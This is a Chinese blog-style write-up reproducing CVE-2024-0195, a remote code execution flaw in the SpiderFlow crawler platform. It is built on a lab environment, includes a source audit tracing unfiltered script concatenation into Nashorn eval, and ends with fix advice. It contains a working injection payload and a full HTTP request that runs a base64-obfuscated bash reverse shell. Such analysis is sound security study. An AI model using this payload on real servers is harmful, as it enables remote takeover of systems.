【CVE复现计划】CVE-2024-0195

CVE-2024-0195

简介:

SpiderFlow是新一代开源爬虫平台,以图形化方式定义爬虫流程,不写代码即可完成爬虫。基于springboot+layui开发的前后端不分离,也可以进行二次开发。该系统/function/save接口存在RCE漏洞,攻击者可以构造恶意命令远控服务器

影响版本:

Up to (including)0.5.0 

EXP(反弹shell): 

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDA+JjE=}|{base64,-d}|{bash,-i}")%3B%7B

注意: 这里的技巧为java Runtime.getRuntime().exec 获取反弹shell

具体可访问java Runtime.getRuntime().exec 获取反弹shell_p = r.exec(["/bin/bash","-c",-CSDN博客

漏洞复现: 

 参考spider-flow RCE漏洞分析(CVE-2024-0195) - 先知社区 (aliyun.com)

源码下载:

https://gitee.com/ssssssss-team/spider-flow.git

复现(春秋靶场):

进入环境进行抓包

修包改为:

POST /function/save HTTP/1.1

Host: eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 189

Origin: http://eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088

Connection: close

Referer: http://eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088/function-edit.html



id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDA+JjE=}|{base64,-d}|{bash,-i}")%3B%7B

即可反弹shell 

代码审计 :

 在spider-flow-web/src/main/java/org/spiderflow/controller/FunctionController.java发现/function/save路径下调用了functionService.saveFunction()方法 这也就是上边抓包的路径

@RestController
@RequestMapping("/function")
public class FunctionController {

    @Autowired
    private FunctionService functionService;

    @RequestMapping("/list")
    public IPage<Function> list(@RequestParam(name = "page",defaultValue = "1")Integer page, @RequestParam(name = "limit",defaultValue = "1")Integer size,String name) {
        QueryWrapper<Function> select = new QueryWrapper<Function>().select("id", "name", "parameter", "create_date");
        if(StringUtils.isNotBlank(name)){
            select.like("name",name);
        }
        select.orderByDesc("create_date");
        return functionService.page(new Page<Function>(page, size), select);
    }

    @RequestMapping("/save")
    public String save(Function function){
        return functionService.saveFunction(function);
    }

    @RequestMapping("/get")
    public Function get(String id){
        return functionService.getById(id);
    }

    @RequestMapping("/remove")
    public void remove(String id){
        functionService.removeById(id);
    }
}

我们跟进 saveFunction()方法

public String saveFunction(Function entity) {
    try {
        // 对传入的数据进行过滤
        ScriptManager.validScript(entity.getName(),entity.getParameter(),entity.getScript());
        // 保存
        super.saveOrUpdate(entity);
        init();
        return null;
    } catch (Exception e) {
        logger.error("保存自定义函数出错",e);
        return ExceptionUtils.getStackTrace(e);
    }
}

里面有个validScript方法,就是通过ScriptManager.validScript()方法对传入的函数数据进行过滤,该方法可能会抛出异常 我们跟进validScript方法

public static void validScript(String functionName,String parameters,String script) throws Exception {
    new ScriptEngineManager().getEngineByName("nashorn").eval(concatScript(functionName,parameters,script));
}

里面居然直接有eval危险函数,首先,代码创建了一个新的ScriptEngineManager对象,然后从中获取一个名为"nashorn"的脚本引擎。接下来,通过调用eval()方法,将传入的函数名称、参数和脚本合并成一个完整的脚本字符串,并将其传递给脚本引擎进行执行。 

我们跟进concatScript方法

private static String concatScript(String functionName,String parameters,String script){
    StringBuffer scriptBuffer = new StringBuffer();
    scriptBuffer.append("function ")
        .append(functionName)
        .append("(")
        .append(parameters == null ? "" : parameters)
        .append("){")
        .append(script)
        .append("}");
    return scriptBuffer.toString();
}

这段代码的作用是接受三个参数 functionNameparameters和 script合并成一个完整的脚本字符串,并返回该字符串。 没有进行任何过滤,所以我们就可以构造RCE了

假设三个参数分别为wen,da,nh,最后返回的是

function wen(da){nh}

我们就可以在 script这里构造的恶意的java Runtime.getRuntime().exec 获取反弹shell

}Java.type('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDA+JjE=}|{base64,-d}|{bash,-i}");{

 拼接之后就成为了下面代码 形成闭合执行 形成反弹shell

function wen(da){}Java.type('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDA+JjE=}|{base64,-d}|{bash,-i}");{}

修复建议:

1.在拼接的时候对script进行过滤处理

2.打补丁 spider-flow: 新一代爬虫平台,以图形化方式定义爬虫流程,不写代码即可完成爬虫。

参考 :

SpiderFlow爬虫平台漏洞利用分析(CVE-2024-0195) - FreeBuf网络安全行业门户

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-04-09 18:18:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-09 18:18:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-09 18:18:02       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-09 18:18:02       20 阅读

热门阅读

  1. 自己总结的ICT云计算题库三

    2024-04-09 18:18:02       14 阅读
  2. 【Leetcode】【2024048】1544. Make The String Great

    2024-04-09 18:18:02       14 阅读
  3. react api:createContext

    2024-04-09 18:18:02       15 阅读
  4. go 获取terraform output输出

    2024-04-09 18:18:02       14 阅读
  5. 5.2 SSH和交换机端口安全概述

    2024-04-09 18:18:02       12 阅读
  6. 通过GDB推进数据库SCN(适用于12c及以上)

    2024-04-09 18:18:02       16 阅读
  7. 多数据源解决事务问题

    2024-04-09 18:18:02       14 阅读
  8. 单例模式

    2024-04-09 18:18:02       13 阅读